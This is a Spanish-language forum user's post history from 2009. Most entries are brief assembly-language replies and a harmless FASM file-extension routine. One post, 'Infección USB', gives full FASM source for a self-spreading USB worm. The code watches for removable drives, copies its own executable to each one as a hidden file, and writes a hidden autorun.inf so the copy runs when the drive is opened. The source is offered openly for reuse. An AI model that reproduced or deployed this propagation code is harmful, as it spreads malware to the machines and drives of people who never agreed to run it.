Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - YST

#491
Cita de: APOKLIPTICO en 22 Mayo 2009, 16:21 PM
una pequeña correccion, se te quedo afuera el ")" en el link
Arreglado ;)
#492
Una correción ortografica a arkangel es EIP ( IP ) no EPI :P 
#493
Cita de: mrscript en 22 Mayo 2009, 03:31 AM
lee las normas generales del foro y de cualquier otra comunidad

No letras rojas, no mayusculas (Hace ver que estas gritando)
Lee tu las normas , se puede poner texto en color rojo mientras no sea todo el post ya que si no se pudiera tu crees que estarian esos botones ???
#494
Yo se hacer macros , que necesitas ? , tambien en el subforo de macros de fasm hay varias :P
#495
ASM / SRCs de YST.
21 Mayo 2009, 08:40 AM
Debido a un problema que me surgio necesite hacer una función que obtenga la extension real de un archivo , se las dejo por si le sirve a alguien.


Código (asm) [Seleccionar]
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop  esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
#496
Podrias ofuscar un poco para que no sea un simple if :P
#498
ASM / Re: Duda ASM
20 Mayo 2009, 21:02 PM
No pasa nada con un bucle infinito , no le pasa nada a la ram :xD
#499
ASM / Re: Duda ASM
20 Mayo 2009, 20:45 PM
No hay ningun peligro por que sea un lenguaje de mas bajo nivel.
#500
ASM / [SRC]Infección USB
20 Mayo 2009, 19:07 PM
Esta en fasm para llamarlo se llama con
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código (ASM) [Seleccionar]

     Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0 
BufferUnidades rb 31
 


Código (ASM) [Seleccionar]
proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad

invoke GlobalAlloc,GPTR,MAX_PATH
  mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  stdcall ConseguirNombre,[Miruta]
  mov [Minombre],eax
       .infinito:
    invoke SleepEx,1000,FALSE
       stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
        mov ebx,BufferUnidades
        .bucleDetectaExtraible:
invoke GetDriveTypeA,ebx

.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
      invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]

     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE

invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
                ;SetFileAttributes
          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
              invoke GlobalAlloc,GPTR,MAX_PATH
              mov [MiAutorun] ,eax
            invoke GlobalAlloc,GPTR,MAX_PATH
            mov [RutaAutorun],eax
              stdcall Concat,Autorun,[Minombre], [MiAutorun]
                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]

            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
                mov [handleCreado], eax
            invoke lstrlenA,[MiAutorun]
              mov [tamaño],eax
      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL

       
            invoke CloseHandle, [handleCreado]
               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]

invoke GlobalFree,[RutaAutorun]
                .endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif

.if byte[ebx] = 0

invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp      .bucleDetectaExtraible
.endif
endp

Código (ASM) [Seleccionar]

proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
    mov esi,[@AdrSrc1]
    mov edi,[@AdrDest]

.concat_src1:
    movsb
    cmp byte[esi],0
    jne .concat_src1

    mov esi,[@AdrSrc2]

.concat_src2:
    movsb
    cmp byte[esi],0
    jne .concat_src2

    movsb

    ret
endp

proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp 

proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp